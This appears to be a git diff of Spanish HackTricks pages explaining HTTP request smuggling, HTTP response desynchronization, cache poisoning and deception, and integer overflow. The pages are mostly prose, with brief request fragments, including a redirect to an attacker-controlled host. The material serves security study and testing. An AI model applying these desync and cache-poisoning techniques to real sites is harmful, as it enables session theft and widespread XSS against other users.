A veces, los proxies de front-end imponen medidas de seguridad, escrutando las solicitudes entrantes. Sin embargo, estas medidas pueden ser eludidas explotando HTTP Request Smuggling, permitiendo el acceso no autorizado a puntos finales restringidos. Por ejemplo, acceder a `/admin` podría estar prohibido externamente, con el proxy de front-end bloqueando activamente tales intentos. No obstante, este proxy puede omitir inspeccionar las solicitudes incrustadas dentro de una solicitud HTTP contrabandeada, dejando una brecha para eludir estas restricciones.
Considera los siguientes ejemplos que ilustran cómo HTTP Request Smuggling puede ser utilizado para evadir controles de seguridad de front-end, apuntando específicamente al camino `/admin` que típicamente está protegido por el proxy de front-end:
@ -381,9 +381,9 @@ Al manipular el `User-Agent` a través del contrabando, el payload evade las res
### Usando el contrabando de solicitudes HTTP para convertir una redirección en el sitio en una redirección abierta <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
### Explotando Redirecciones en el Sitio con Contrabando de Solicitudes HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
### Explotando Redirecciones en el Sitio con el Contrabando de Solicitudes HTTP <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra diagonal al final resulta en una redirección para incluir la barra diagonal:
Las aplicaciones a menudo redirigen de una URL a otra utilizando el nombre de host del encabezado `Host` en la URL de redirección. Esto es común en servidores web como Apache e IIS. Por ejemplo, solicitar una carpeta sin una barra diagonal al final resulta en una redirección para incluir la barra:
```
GET /home HTTP/1.1
Host: normal-website.com
@ -425,9 +425,9 @@ Location: https://attacker-website.com/home/
El envenenamiento de caché web se puede ejecutar si algún componente de la **infraestructura del front-end almacena en caché contenido**, típicamente para mejorar el rendimiento. Al manipular la respuesta del servidor, es posible **envenenar la caché**.
Anteriormente, observamos cómo las respuestas del servidor podían ser alteradas para devolver un error 404 (consulte [Ejemplos Básicos](./#basic-examples)). De manera similar, es factible engañar al servidor para que entregue el contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché por el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente puede llevar a una Denegación de Servicio (DoS).
Anteriormente, observamos cómo las respuestas del servidor podían ser alteradas para devolver un error 404 (consulte [Ejemplos Básicos](./#basic-examples)). De manera similar, es factible engañar al servidor para que entregue el contenido de `/index.html` en respuesta a una solicitud de `/static/include.js`. En consecuencia, el contenido de `/static/include.js` se reemplaza en la caché por el de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los usuarios, lo que potencialmente podría llevar a una Denegación de Servicio (DoS).
Esta técnica se vuelve particularmente potente si se descubre una **vulnerabilidad de Redirección Abierta** o si hay una **redirección en el sitio a una redirección abierta**. Estas vulnerabilidades pueden ser explotadas para reemplazar el contenido en caché de `/static/include.js` con un script bajo el control del atacante, lo que permite efectivamente un ataque generalizado de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el `/static/include.js` actualizado.
Esta técnica se vuelve particularmente potente si se descubre una **vulnerabilidad de Redirección Abierta** o si hay una **redirección en el sitio a una redirección abierta**. Estas vulnerabilidades pueden ser explotadas para reemplazar el contenido en caché de `/static/include.js` con un script bajo el control del atacante, lo que básicamente habilita un ataque generalizado de Cross-Site Scripting (XSS) contra todos los clientes que soliciten el `/static/include.js` actualizado.
A continuación se muestra una ilustración de la explotación del **envenenamiento de caché combinado con una redirección en el sitio a una redirección abierta**. El objetivo es alterar el contenido en caché de `/static/include.js` para servir código JavaScript controlado por el atacante:
```
@ -454,12 +454,12 @@ Después de un exitoso **envenenamiento de socket**, se debe iniciar una solicit
Posteriormente, cualquier solicitud para `/static/include.js` servirá el contenido en caché del script del atacante, lanzando efectivamente un amplio ataque XSS.
### Uso del contrabando de solicitudes HTTP para realizar engaño en la caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Uso del contrabando de solicitudes HTTP para realizar engaño de caché web <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **¿Cuál es la diferencia entre el envenenamiento de la caché web y el engaño de la caché web?**
> **¿Cuál es la diferencia entre el envenenamiento de caché web y el engaño de caché web?**
>
> * En el **envenenamiento de la caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
> * En el **engaño de la caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
> * En el **engaño de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
El atacante crea una solicitud contrabandeada que obtiene contenido sensible específico del usuario. Considera el siguiente ejemplo:
```markdown
@ -596,7 +596,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
@ -18,14 +18,14 @@ Otras formas de apoyar a HackTricks:
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -9,7 +9,7 @@ Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -20,37 +20,31 @@ Otras formas de apoyar a HackTricks:
En primer lugar, esta técnica **abusa de una vulnerabilidad de Desincronización de Solicitudes HTTP**, por lo que necesitas saber qué es:
La **principal** **diferencia** entre esta técnica y una Desincronización de Solicitudes HTTP común es que **en lugar de atacar la solicitud de la víctima agregando un prefijo a la misma**, vamos a **filtrar o modificar la respuesta que recibe la víctima**. Esto se logra enviando 2 solicitudes completas para desincronizar la cola de respuestas de los proxies, en lugar de enviar 1 solicitud y media para abusar de la Desincronización de Solicitudes HTTP.
La **principal** **diferencia** entre esta técnica y un ataque común de Desincronización de Solicitudes HTTP es que **en lugar de atacar la solicitud de la víctima agregando un prefijo a la misma**, vamos a **filtrar o modificar la respuesta que recibe la víctima**. Esto se logra enviando 2 solicitudes completas para desincronizar la cola de respuestas de los proxies, en lugar de enviar 1 solicitud y media para abusar de la Desincronización de Solicitudes HTTP.
Esto se debe a que vamos a poder **desincronizar la cola de respuestas** para que la **respuesta** de la **solicitud legítima de la víctima se envíe al atacante**, o **inyectando contenido controlado por el atacante en la respuesta a la víctima**.
### Desincronización de Pipelining HTTP
HTTP/1.1 permite solicitar **diferentes recursos sin necesidad de esperar los anteriores**. Por lo tanto, si hay un **proxy** en el **medio**, es tarea de los proxies **mantener una coincidencia sincronizada de las solicitudes enviadas al backend y las respuestas que provienen de él**.
HTTP/1.1 permite solicitar **diferentes recursos sin necesidad de esperar los anteriores**. Por lo tanto, si hay un **proxy** en el **medio**, es tarea de los proxies **mantener una coincidencia sincronizada de las solicitudes enviadas al backend y las respuestas que llegan de él**.
Sin embargo, hay un problema al desincronizar la cola de respuestas. Si un atacante envía un ataque de Desincronización de Respuestas HTTP y las respuestas a la **solicitud inicial y la solicitada se responden inmediatamente**, la respuesta solicitada no se insertará en la cola de respuestas de la víctima, sino que **se descartará como un error**.
Sin embargo, hay un problema al desincronizar la cola de respuestas. Si un atacante envía un ataque de Desincronización de Respuestas HTTP y las respuestas a la **solicitud inicial y la solicitada ilegalmente son respondidas inmediatamente**, la respuesta solicitada ilegalmente no se insertará en la cola de respuesta de la víctima, sino que **se descartará como un error**.
![](<../.gitbook/assets/image (635) (1) (1) (1).png>)
Por lo tanto, es necesario que la **solicitud ilegalmente solicitada tarde más tiempo en procesarse** dentro del servidor backend. Por lo tanto, cuando la solicitud ilegalmente solicitada se procese, la comunicación con el atacante habrá terminado.
Por lo tanto, es necesario que la **solicitud filtrada** **tome más tiempo en procesarse** dentro del servidor backend. Por lo tanto, cuando la solicitud filtrada se procese, la comunicación con el atacante habrá terminado.
Si en esta situación específica un **atacante envía una solicitud** y la **solicitud ilegalmente solicitada se responde antes** que la solicitud legítima, la **respuesta ilegalmente solicitada se enviará a la víctima**. Por lo tanto, el atacante estará **controlando la solicitud "realizada" por la víctima**.
Si en esta situación específica un **atacante envía una solicitud** y la **solicitud filtrada se responde antes** que la solicitud legítima, la **respuesta filtrada se enviará a la víctima**. Por lo tanto, el atacante estará **controlando la solicitud "realizada" por la víctima**.
Además, si el **atacante realiza una solicitud** y la **respuesta legítima** a la **solicitud de la víctima es respondida** **antes** que la solicitud del atacante. La **respuesta a la víctima se enviará al atacante**, **robando** la respuesta a la víctima (que puede contener, por ejemplo, el encabezado **Set-Cookie**).
Además, si el **atacante luego realiza una solicitud** y la **respuesta legítima** a la **solicitud de la víctima se responde** **antes** que la solicitud del atacante. La **respuesta a la víctima se enviará al atacante**, **robando** la respuesta a la víctima (que puede contener, por ejemplo, el encabezado **Set-Cookie**).
### Inyecciones Anidadas Múltiples
![](<../.gitbook/assets/image (658) (1).png>)
Otra **diferencia interesante** con el **ataque común de Desincronización de Solicitudes HTTP** es que, en un ataque común de desincronización, el **objetivo** es **modificar el inicio de la solicitud de las víctimas** para que realice una acción inesperada. En un **ataque de Desincronización de Respuestas HTTP**, al **enviar solicitudes completas**, puedes **inyectar en una carga útil decenas de respuestas** que **desincronizarán a decenas de usuarios** que estarán **recibiendo** las **respuestas** **inyectadas**.
![](<../.gitbook/assets/image (655) (1) (1) (1).png>)
### Múltiples Inyecciones Anidadas
Otra **diferencia interesante** con la Desincronización de Solicitudes HTTP común es que, en un ataque de desincronización común, el **objetivo** es **modificar el inicio de la solicitud de la víctima** para que realice una acción inesperada. En un **ataque de desincronización de respuestas HTTP**, al **enviar solicitudes completas**, puedes **inyectar en una carga útil decenas de respuestas** que **desincronizarán a decenas de usuarios** que estarán **recibiendo** las **respuestas** **inyectadas**.
Además de poder **distribuir más fácilmente decenas de exploits** entre usuarios legítimos, esto también podría usarse para causar una **denegación de servicio** en el servidor.
Además de poder **distribuir más fácilmente decenas de exploits** entre usuarios legítimos, esto también podría usarse para causar una **denegación de servicio (DoS)** en el servidor.
### Organización de Exploits
Como se explicó anteriormente, para abusar de esta técnica, es necesario que el **primer mensaje filtrado** en el servidor **requiera mucho tiempo para procesarse**.
Como se explicó anteriormente, para abusar de esta técnica, es necesario que el **primer mensaje ilegalmente solicitado** en el servidor **tome mucho tiempo en procesarse**.
Esta **solicitud que consume tiempo es suficiente** si solo queremos **intentar robar la respuesta de las víctimas**. Pero si deseas realizar un exploit más complejo, esta será una estructura común para el exploit.
@ -62,19 +56,15 @@ Primero la **solicitud inicial** abusando de la **Desincronización de Solicitud
Al igual que con las cargas útiles conocidas de Desincronización de Solicitudes HTTP, puedes **robar la solicitud de las víctimas** con una diferencia importante: En este caso, solo necesitas que el **contenido enviado se refleje en la respuesta**, **no se necesita almacenamiento persistente**.
Primero, el atacante envía una carga útil que contiene una **solicitud POST final con el parámetro reflejado** al final y un largo Content-Length
Primero, el atacante envía una carga útil que contiene una **solicitud POST final con el parámetro reflejado** al final y un gran Content-Length
![](<../.gitbook/assets/image (625).png>)
Luego, una vez que la **solicitud inicial** (azul) fue **procesada** y **mientras** la **solicitud somnolienta** se está procesando (amarilla), la **próxima solicitud que llega de una víctima** se va a **agregar en la cola justo después del parámetro reflejado**:
Luego, una vez que la **solicitud inicial** (azul) fue **procesada** y **mientras** la **solicitud lenta** se está procesando (amarilla), la **próxima solicitud que llega de una víctima** se va a **agregar en la cola justo después del parámetro reflejado**:
![](<../.gitbook/assets/image (634) (1).png>)
Entonces, la **víctima** **recibirá** la **respuesta a la solicitud lenta** y si en ese momento el **atacante** **envía** **otra** **solicitud**, la **respuesta de la solicitud de contenido reflejado se le enviará**.
Luego, la **víctima** **recibirá** la **respuesta a la solicitud somnolienta** y si en ese momento el **atacante** **envía otra solicitud**, la **respuesta de la solicitud de contenido reflejado se le enviará**.
## Desincronización de Respuestas
Hasta este punto, hemos aprendido cómo abusar de los ataques de Desincronización de Solicitudes HTTP para **controlar** la **solicitud** **cuya** **respuesta** un **cliente** va a **recibir** y cómo luego puedes **robar la respuesta que estaba destinada a la víctima**.
Hasta este punto, hemos aprendido cómo abusar de los ataques de Desincronización de Solicitudes HTTP para **controlar** la **solicitud** cuya **respuesta** un **cliente** va a **recibir** y cómo luego **robar la respuesta que estaba destinada a la víctima**.
Pero aún es posible **desincronizar aún más** las respuestas.
@ -82,43 +72,29 @@ Existen solicitudes interesantes como la solicitud **HEAD** que se especifican p
Por lo tanto, si un atacante **inyecta** una solicitud **HEAD**, como en estas imágenes:
![](<../.gitbook/assets/image (626).png>)
Luego, **una vez que la azul es respondida al atacante**, la próxima solicitud de la víctima se introducirá en la cola:
Entonces, **una vez que la azul es respondida al atacante**, la próxima solicitud de la víctima se introducirá en la cola:
![](<../.gitbook/assets/image (651) (1) (1) (1) (1) (1) (1).png>)
Entonces, la **víctima** **recibirá** la **respuesta** de la **solicitud HEAD**, que **va a contener un Content-Length pero sin contenido alguno**. Por lo tanto, el proxy **no enviará esta respuesta** a la víctima, sino que **esperará** algún **contenido**, que en realidad será **la respuesta a la solicitud amarilla** (también inyectada por el atacante):
![](<../.gitbook/assets/image (627) (1).png>)
Luego, la **víctima** **recibirá** la **respuesta** de la **solicitud HEAD**, que **contendrá un Content-Length pero sin contenido alguno**. Por lo tanto, el proxy **no enviará esta respuesta** a la víctima, sino que **esperará** algún **contenido**, que en realidad será **la respuesta a la solicitud amarilla** (también inyectada por el atacante):
### Confusión de Contenido
Siguiendo el ejemplo anterior, sabiendo que puedes **controlar el cuerpo** de la solicitud cuya respuesta va a recibir la víctima y que una **respuesta HEAD** **generalmente contiene en sus encabezados el Content-Type y el Content-Length**, puedes **enviar una solicitud como la siguiente** para **causar XSS** en la víctima sin que la página sea vulnerable a XSS:
![](<../.gitbook/assets/image (654) (1) (1) (1) (1).png>)
Siguiendo el ejemplo anterior, sabiendo que puedes **controlar el cuerpo** de la solicitud cuya respuesta va a recibir la víctima y que una **respuesta HEAD** generalmente contiene en sus encabezados el **Content-Type y el Content-Length**, puedes **enviar una solicitud como la siguiente** para **causar XSS** en la víctima sin que la página sea vulnerable a XSS:
### Envenenamiento de Caché
Abusando del ataque de Confusión de Contenido de desincronización de respuestas comentado anteriormente, **si la caché almacena la respuesta a la solicitud realizada por la víctima y esta respuesta es una inyectada que causa un XSS, entonces la caché está envenenada**.
Solicitud maliciosa que contiene la carga útil de XSS:
![](<../.gitbook/assets/image (644) (1).png>)
Solicitud maliciosa que contiene la carga útil XSS:
Respuesta maliciosa a la víctima que contiene el encabezado que indica a la caché que almacene la respuesta:
![](<../.gitbook/assets/image (629) (1).png>)
{% hint style="warning" %}
Ten en cuenta que en este caso, si el **"víctima" es el atacante**, ahora puede realizar **envenenamiento de caché en URLs arbitrarias** ya que puede **controlar la URL que se va a cachear** con la respuesta maliciosa.
{% endhint %}
### Decepción de Caché Web
Este ataque es similar al anterior, pero **en lugar de inyectar una carga útil dentro de la caché, el atacante almacenará información de la víctima dentro de la caché:**
![](<../.gitbook/assets/image (643) (1) (1).png>)
Este ataque es similar al anterior, pero **en lugar de inyectar una carga útil dentro de la caché, el atacante almacenará información de la víctima dentro de la caché**:
### División de Respuestas
@ -128,16 +104,10 @@ Para lograr esto, el atacante necesita encontrar un punto final de la aplicació
Enviar un **exploit** como:
![](<../.gitbook/assets/image (649) (1) (1) (1).png>)
Después de que la primera solicitud se resuelva y se envíe de vuelta al atacante, la **solicitud de la víctima se agrega a la cola**:
![](<../.gitbook/assets/image (661) (1) (1) (1).png>)
La víctima recibirá como respuesta la **respuesta HEAD + el contenido de la respuesta de la segunda solicitud (que contiene parte de los datos reflejados):**
![](<../.gitbook/assets/image (633) (1).png>)
La víctima recibirá como respuesta la **respuesta HEAD + el contenido de la segunda respuesta de la solicitud (que contiene parte de los datos reflejados):**
Sin embargo, observa cómo los **datos reflejados tenían un tamaño de acuerdo con el Content-Length** de la **respuesta HEAD** que **generó una respuesta HTTP válida en la cola de respuestas**.
Por lo tanto, la **próxima solicitud del segundo usuario** recibirá como **respuesta algo completamente creado por el atacante**. Como la respuesta está completamente creada por el atacante, también puede **hacer que el proxy almacene en caché la respuesta**.
Por lo tanto, la **próxima solicitud del segundo usuario** va a **recibir** como **respuesta algo completamente creado por el atacante**. Como la respuesta está completamente creada por el atacante, también puede **hacer que el proxy almacene en caché la respuesta**.

View file

@ -4,15 +4,15 @@
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) de github.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
**Consulta la publicación: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
**Revisa la publicación: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
<details>
@ -20,10 +20,10 @@ Otras formas de apoyar a HackTricks:
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los** repositorios de [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) de github.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>

View file

@ -1,13 +1,13 @@
# Desbordamiento de Enteros
# Desbordamiento de enteros
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -28,32 +28,7 @@ println!("{}", add_result);
```
{% endtab %}
{% tab title="C" %}
## Desbordamiento de enteros
El desbordamiento de enteros ocurre cuando el resultado de una operación aritmética excede el rango de valores que el tipo de datos puede almacenar. Esto puede conducir a resultados inesperados y potencialmente a vulnerabilidades de seguridad si no se maneja adecuadamente.
### Ejemplo de desbordamiento de enteros en C
```c
#include <stdio.h>
int main() {
int a = 2147483647; // Valor máximo para un int de 32 bits
a = a + 1;
printf("El valor de a es: %d\n", a);
return 0;
}
```
En este ejemplo, el valor de `a` se desbordará después de sumarle 1 al valor máximo permitido para un entero de 32 bits. Esto resultará en un valor negativo inesperado debido al desbordamiento de enteros.
Para evitar desbordamientos de enteros, es importante validar las entradas de datos, verificar los límites de los valores y utilizar tipos de datos que puedan manejar los valores esperados sin desbordarse.
{% endtab %}
